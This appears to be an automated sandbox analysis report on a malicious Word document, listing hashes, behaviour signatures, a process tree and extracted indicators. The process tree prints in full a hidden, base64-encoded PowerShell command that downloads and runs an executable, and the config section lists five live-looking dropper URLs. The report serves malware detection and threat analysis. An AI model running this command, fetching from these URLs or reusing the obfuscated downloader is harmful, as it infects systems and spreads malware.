Analysis

  • max time kernel
    57s
  • max time network
    24s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:13

General

  • Target

    36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc

  • Size

    184KB

  • MD5

    4a300be3cbaffa2f5086efdcf7cb5248

  • SHA1

    187ec6c5af555513043136b3df4eb6dcc7fbcfa9

  • SHA256

    36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b

  • SHA512

    c81fc78ed64c4270f4a64ffe4162e724059344160293cf5a8b109a2bd10eaaa84444c52e7c9b6ce18ea087a5ca5c18f0ea7a1a77988249be6359617f66c14a2c

  • SSDEEP

    3072:2C2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUfoUH9CBjBoax5waA1NWBM0z7:2C2k4TtGiL3HJk9aD7bfoUH9CBjBoaxl

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://gobabynames.com/dz6r/xytx7/

exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/

exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/

exe.dropper

http://compscischool.com/wp-content/8a1n/

exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2772
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2892
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2672
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:784
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1672

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F494B6AA.wmf

      Filesize

      444B

      MD5

      a85f2e1337a7eacef3521a938c7abbdc

      SHA1

      41761a8a6677331cbb6ed95243904e19db952837

      SHA256

      abe99356a07246af1586ce5b5d43cd648874cf573cb70520e2ee60aa0b9d794b

      SHA512

      7023723c4f6d787ba573b8109bec7f45f11dd0d267fd1cb6c0f558b337ea57f917ed16a9f730de56a5e1169ed996ea1d8cc28c1442db623619b28f4ed64c64d8

    • memory/1672-36-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

      Filesize

      32KB

    • memory/1672-35-0x000000001B290000-0x000000001B572000-memory.dmp

      Filesize

      2.9MB

    • memory/2672-17-0x00000000001C0000-0x00000000001C1000-memory.dmp

      Filesize

      4KB

    • memory/2772-22-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-20-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-14-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-15-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-16-0x0000000006500000-0x0000000006501000-memory.dmp

      Filesize

      4KB

    • memory/2772-5-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-21-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-26-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-25-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-24-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp

      Filesize

      4KB

    • memory/2772-13-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-19-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-27-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-29-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-2-0x0000000070B3D000-0x0000000070B48000-memory.dmp

      Filesize

      44KB

    • memory/2772-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2772-39-0x0000000070B3D000-0x0000000070B48000-memory.dmp

      Filesize

      44KB

    • memory/2772-40-0x00000000061B0000-0x00000000062B0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-41-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-42-0x0000000006500000-0x0000000006501000-memory.dmp

      Filesize

      4KB

    • memory/2772-43-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-44-0x00000000006A0000-0x00000000007A0000-memory.dmp

      Filesize

      1024KB

    • memory/2772-45-0x00000000063D0000-0x00000000064D0000-memory.dmp

      Filesize

      1024KB